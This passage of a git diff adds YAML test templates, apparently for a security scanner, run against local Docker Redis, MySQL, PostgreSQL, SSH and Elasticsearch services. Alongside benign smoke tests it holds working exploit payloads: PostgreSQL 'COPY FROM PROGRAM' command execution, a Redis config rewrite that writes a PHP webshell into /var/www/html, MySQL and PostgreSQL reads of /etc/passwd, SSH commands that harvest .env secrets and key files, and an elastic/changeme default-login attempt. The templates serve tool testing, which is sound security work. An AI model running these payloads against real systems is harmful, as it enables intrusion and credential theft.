TABLE zombie_cmd_exec(cmd_output text)" + - db: 'COPY zombie_cmd_exec FROM PROGRAM ''sh -c "{{cmd}} > {{pg_output_path}}; cat {{pg_output_path}}"''' + - db: "SELECT 'cmd_output=' || cmd_output FROM zombie_cmd_exec" + name: cmd_output + - db: "DROP TABLE IF EXISTS zombie_cmd_exec" + matchers: + - type: word + part: cmd_output + words: ["uid="] + extractors: + - type: regex + name: pg_program_output + part: cmd_output + regex: ['(?m)^cmd_output=(.+)$'] + group: 1 diff --git a/testdata/service-template/templates/exploit/redis-write-webshell-local.yaml b/testdata/service-template/templates/exploit/redis-write-webshell-local.yaml new file mode 100644 index 0000000..83e869b --- /dev/null +++ b/testdata/service-template/templates/exploit/redis-write-webshell-local.yaml @@ -0,0 +1,51 @@ +id: local-redis-write-webshell +service: [redis] +variables: + redis_dir: /var/www/html + redis_dbfilename: shell.php + webshell_payload: "" +info: + name: Local Redis Webshell File Write Reproduction + severity: critical + tags: local,docker,redis,exploit,file-write + +services: + - ops: + - kv: "CONFIG GET dir" + name: dir + - kv: "CONFIG GET dbfilename" + name: dbfilename + extractors: + - type: regex + name: orig_dir + internal: true + part: dir + regex: ['(?m)^dir\s+(.+)$'] + group: 1 + - type: regex + name: orig_file + internal: true + part: dbfilename + regex: ['(?m)^dbfilename\s+(.+)$'] + group: 1 + + - ops: + - kv: "CONFIG SET dir {{redis_dir}}" + - kv: "CONFIG SET dbfilename {{redis_dbfilename}}" + - kv: 'SET x "{{webshell_payload}}"' + - kv: "SAVE" + name: save_result + matchers: + - type: word + part: save_result + words: ["OK"] + extractors: + - type: regex + name: redis_webshell_written + part: save_result + regex: ['(OK)'] + group: 1 + + - ops: + - kv: "CONFIG SET dir {{orig_dir}}" + - kv: "CONFIG SET dbfilename {{orig_file}}" diff --git a/testdata/service-template/templates/payload/redis-payload-cli.yaml b/testdata/service-template/templates/payload/redis-payload-cli.yaml new file mode 100644 index 0000000..80dbac1 --- /dev/null +++ b/testdata/service-template/templates/payload/redis-payload-cli.yaml @@ -0,0 +1,24 @@ +id: local-redis-payload-cli +service: [redis] +info: + name: Local Redis service-template CLI payload smoke test + severity: info + tags: local,docker,redis,payload + +services: + - attack: pitchfork + ops: + - kv: "SET §payload_key§ payload-cli-ok" + name: set_result + - kv: "GET §payload_key§" + name: get_result + matchers: + - type: word + part: get_result + words: ["payload-cli-ok"] + extractors: + - type: regex + name: redis_payload_value + part: get_result + regex: ['(payload-cli-ok)'] + group: 1 diff --git a/testdata/service-template/templates/post-exploit/mysql-post-exploit-local.yaml b/testdata/service-template/templates/post-exploit/mysql-post-exploit-local.yaml new file mode 100644 index 0000000..7769158 --- /dev/null +++ b/testdata/service-template/templates/post-exploit/mysql-post-exploit-local.yaml @@ -0,0 +1,42 @@ +id: local-mysql-post-exploit +service: [mysql] +variables: + outfile_path: /tmp/zombie_mysql_post_exploit.txt + outfile_marker: zombie-mysql-post-exploit +info: + name: Local MySQL Post-Exploit Capability Smoke + severity: high + tags: local,docker,mysql,post-exploit,file-read,file-write + +services: + - ops: + - db: "SELECT CONCAT('cred=', username, ':', api_token) FROM zombie.app_credentials WHERE id = 1" + name: app_credential + - db: "SELECT CONCAT('passwd_line=', SUBSTRING_INDEX(LOAD_FILE('/etc/passwd'), CHAR(10), 1))" + name: passwd_file + - db: "SELECT '{{outfile_marker}}' INTO OUTFILE '{{outfile_path}}'" + - db: "SELECT CONCAT('outfile=', LOAD_FILE('{{outfile_path}}'))" + name: outfile_content + matchers: + - type: word + part: app_credential + words: ["cred=demo:token"] + - type: word + part: outfile_content + words: ["{{outfile_marker}}"] + extractors: + - type: regex + name: mysql_app_credential + part: app_credential + regex: ['(?m)^cred=(.+)$'] + group: 1 + - type: regex + name: mysql_passwd_root + part: passwd_file + regex: ['(?m)^passwd_line=(root:.+)$'] + group: 1 + - type: regex + name: mysql_outfile_content + part: outfile_content + regex: ['(?m)^outfile=(.+)$'] + group: 1 diff --git a/testdata/service-template/templates/post-exploit/postgres-post-exploit-local.yaml b/testdata/service-template/templates/post-exploit/postgres-post-exploit-local.yaml new file mode 100644 index 0000000..b918781 --- /dev/null +++ b/testdata/service-template/templates/post-exploit/postgres-post-exploit-local.yaml @@ -0,0 +1,35 @@ +id: local-postgres-post-exploit +service: [postgresql] +variables: + pg_output_path: /tmp/zombie_pg_post_exploit.txt + pg_marker: zombie-pg-post-exploit +info: + name: Local PostgreSQL Post-Exploit Capability Smoke + severity: high + tags: local,docker,postgresql,post-exploit,file-read,command-exec + +services: + - ops: + - db: "SELECT 'server_file=' || split_part(pg_read_file('/etc/passwd'), E'\n', 1)" + name: server_file + - db: "DROP TABLE IF EXISTS zombie_post_exploit" + - db: "CREATE TABLE zombie_post_exploit(cmd_output text)" + - db: 'COPY zombie_post_exploit FROM PROGRAM ''sh -c "printf {{pg_marker}} > {{pg_output_path}}; cat {{pg_output_path}}"''' + - db: "SELECT 'cmd_output=' || cmd_output FROM zombie_post_exploit" + name: cmd_output + - db: "DROP TABLE IF EXISTS zombie_post_exploit" + matchers: + - type: word + part: cmd_output + words: ["{{pg_marker}}"] + extractors: + - type: regex + name: pg_passwd_root + part: server_file + regex: ['(?m)^server_file=(root:.+)$'] + group: 1 + - type: regex + name: pg_program_output + part: cmd_output + regex: ['(?m)^cmd_output=(.+)$'] + group: 1 diff --git a/testdata/service-template/templates/post-exploit/redis-post-exploit-local.yaml b/testdata/service-template/templates/post-exploit/redis-post-exploit-local.yaml new file mode 100644 index 0000000..f79e39b --- /dev/null +++ b/testdata/service-template/templates/post-exploit/redis-post-exploit-local.yaml @@ -0,0 +1,72 @@ +id: local-redis-post-exploit +service: [redis] +variables: + redis_file_dir: /tmp + redis_file_name: zombie_redis_post_exploit.rdb + redis_file_marker: zombie-redis-post-exploit +info: + name: Local Redis Post-Exploit Capability Smoke + severity: high + tags: local,docker,redis,post-exploit + +services: + - ops: + - kv: "CONFIG GET dir" + name: dir + - kv: "CONFIG GET dbfilename" + name: dbfilename + extractors: + - type: regex + name: orig_dir + internal: true + part: dir + regex: ['(?m)^dir\s+(.+)$'] + group: 1 + - type: regex + name: orig_file + internal: true + part: dbfilename + regex: ['(?m)^dbfilename\s+(.+)$'] + group: 1 + + - ops: + - kv: "GET app:password" + name: app_password + - kv: "KEYS *token*" + name: token_keys + matchers: + - type: word + part: app_password + words: ["zombie-secret-pass"] + extractors: + - type: regex + name: redis_sensitive_value + part: app_password + regex: ['(zombie-secret-pass)'] + group: 1 + - type: regex + name: redis_token_key + part: token_keys + regex: ['(api:token)'] + group: 1 + + - ops: + - kv: "CONFIG SET dir {{redis_file_dir}}" + - kv: "CONFIG SET dbfilename {{redis_file_name}}" + - kv: 'SET zombie:post:file "{{redis_file_marker}}"' + - kv: "SAVE" + name: save_result + matchers: + - type: word + part: save_result + words: ["OK"] + extractors: + - type: regex + name: redis_file_write_result + part: save_result + regex: ['(OK)'] + group: 1 + + - ops: + - kv: "CONFIG SET dir {{orig_dir}}" + - kv: "CONFIG SET dbfilename {{orig_file}}" diff --git a/testdata/service-template/templates/post-exploit/ssh-post-exploit-local.yaml b/testdata/service-template/templates/post-exploit/ssh-post-exploit-local.yaml new file mode 100644 index 0000000..0ea17bd --- /dev/null +++ b/testdata/service-template/templates/post-exploit/ssh-post-exploit-local.yaml @@ -0,0 +1,48 @@ +id: local-ssh-post-exploit +service: [ssh] +variables: + ssh_marker_path: /tmp/zombie_ssh_post_exploit.txt + ssh_marker: zombie-ssh-post-exploit +info: + name: Local SSH Post-Exploit Capability Smoke + severity: high + tags: local,docker,ssh,post-exploit,command-exec,file-read,file-write + +services: + - ops: + - shell: "id" + name: whoami + - shell: "printf '{{ssh_marker}}' > {{ssh_marker_path}} && cat {{ssh_marker_path}}" + name: file_write + - shell: "cat /home/zombie/app/.env 2>/dev/null" + name: env_file + - shell: "find /home/zombie -maxdepth 3 -type f \\( -name 'id_rsa' -o -name 'credentials' -o -name 'config' \\) 2>/dev/null" + name: credential_paths + matchers: + - type: word + part: file_write + words: ["{{ssh_marker}}"] + - type: word + part: env_file + words: ["APP_SECRET="] + extractors: + - type: regex + name: ssh_username + part: whoami + regex: ['uid=\d+\((\w+)\)'] + group: 1 + - type: regex + name: ssh_file_write + part: file_write + regex: ['(zombie-ssh-post-exploit)'] + group: 1 + - type: regex + name: ssh_env_secret + part: env_file + regex: ['APP_SECRET=(\S+)'] + group: 1 + - type: regex + name: ssh_aws_credentials_path + part: credential_paths + regex: ['(.+\.aws/credentials)'] + group: 1 diff --git a/testdata/service-template/templates/smoke/mysql-smoke.yaml b/testdata/service-template/templates/smoke/mysql-smoke.yaml new file mode 100644 index 0000000..ef26994 --- /dev/null +++ b/testdata/service-template/templates/smoke/mysql-smoke.yaml @@ -0,0 +1,28 @@ +id: local-mysql-smoke +service: [mysql] +info: + name: Local MySQL service-template smoke test + severity: info + tags: local,docker,mysql + +services: + - ops: + - db: "SELECT marker FROM zombie.smoke WHERE id = 1" + name: marker + - db: "SHOW DATABASES" + name: databases + matchers: + - type: word + part: marker + words: ["zombie-mysql-ok"] + extractors: + - type: regex + name: mysql_marker + part: marker + regex: ['(?m)^(zombie-mysql-ok)$'] + group: 1 + - type: regex + name: mysql_database + part: databases + regex: ['(?m)^(zombie)$'] + group: 1 diff --git a/testdata/service-template/templates/smoke/postgres-smoke.yaml b/testdata/service-template/templates/smoke/postgres-smoke.yaml new file mode 100644 index 0000000..01209a2 --- /dev/null +++ b/testdata/service-template/templates/smoke/postgres-smoke.yaml @@ -0,0 +1,28 @@ +id: local-postgres-smoke +service: [postgresql] +info: + name: Local PostgreSQL service-template smoke test + severity: info + tags: local,docker,postgresql + +services: + - ops: + - db: "SELECT marker FROM smoke WHERE id = 1" + name: marker + - db: "SHOW DATABASES" + name: databases + matchers: + - type: word + part: marker + words: ["zombie-postgres-ok"] + extractors: + - type: regex + name: postgres_marker + part: marker + regex: ['(?m)^(zombie-postgres-ok)$'] + group: 1 + - type: regex + name: postgres_database + part: databases + regex: ['(?m)^(postgres)$'] + group: 1 diff --git a/testdata/service-template/templates/smoke/redis-smoke.yaml b/testdata/service-template/templates/smoke/redis-smoke.yaml new file mode 100644 index 0000000..49182e1 --- /dev/null +++ b/testdata/service-template/templates/smoke/redis-smoke.yaml @@ -0,0 +1,33 @@ +id: local-redis-smoke +service: [redis] +info: + name: Local Redis service-template smoke test + severity: info + tags: local,docker,redis + +services: + - ops: + - kv: "PING" + name: ping + - kv: "INFO server" + name: info + - kv: "GET zombie:template" + name: value + matchers: + - type: word + part: ping + words: ["PONG"] + - type: word + part: value + words: ["zombie-template-ok"] + extractors: + - type: regex + name: redis_version + part: info + regex: ['redis_version:([0-9.]+)'] + group: 1 + - type: regex + name: redis_value + part: value + regex: ['(zombie-template-ok)'] + group: 1 diff --git a/testdata/service-template/templates/smoke/ssh-smoke.yaml b/testdata/service-template/templates/smoke/ssh-smoke.yaml new file mode 100644 index 0000000..81747ef --- /dev/null +++ b/testdata/service-template/templates/smoke/ssh-smoke.yaml @@ -0,0 +1,28 @@ +id: local-ssh-smoke +service: [ssh] +info: + name: Local SSH service-template smoke test + severity: info + tags: local,docker,ssh + +services: + - ops: + - shell: "printf zombie-ssh-ok" + name: marker + - shell: "id -un" + name: whoami + matchers: + - type: word + part: marker + words: ["zombie-ssh-ok"] + extractors: + - type: regex + name: ssh_marker + part: marker + regex: ['(zombie-ssh-ok)'] + group: 1 + - type: regex + name: ssh_user + part: whoami + regex: ['(?m)^([A-Za-z0-9_-]+)$'] + group: 1 diff --git a/tmp.yaml b/tmp.yaml new file mode 100644 index 0000000..23d8f17 --- /dev/null +++ b/tmp.yaml @@ -0,0 +1,45 @@ +id: elasticsearch-default-login + +info: + name: ElasticSearch - Default Login + author: pdteam + severity: high + tags: elasticsearch + zombie: elasticsearch + +http: + - raw: + - | + POST /internal/security/login HTTP/1.1 + Host: {{Hostname}} + User-Agent: Mozilla/5.0 (Windows; Windows NT 10.1; Win64; x64; en-US) Gecko/20100101 Firefox/49.5 + Referer: {{RootURL}}/login + Content-Type: application/json + kbn-version: 7.12.1 + x-kbn-context: %7B%22name%22%3A%22security_login%22%2C%22url%22%3A%22%2Flogin%22%7D + Origin: {{RootURL}} + + {"providerType":"basic","providerName":"basic","currentURL":"{{BaseURL}}/login","params":{"username":"{{username}}","password":"{{password}}" }} + + payloads: + username: + - elastic + password: + - changeme + attack: pitchfork + + matchers-condition: and + matchers: + - type: word + part: header + words: + - 'Set-Cookie: sid=' + - 'kbn-license-sig:' + condition: and + case-insensitive: true + + - type: status + status: + - 200 + +# digest: 4b0a00483046022100a3408fad3b3714582be692b490de830c2bab27c538a3019730304baf29a3d925022100dedbe43013a6624ea26d84bfc6e3d742cb51405bcf8e14b5c137372eb72f7dd6:922c64590222798bb761d5b6d8e72950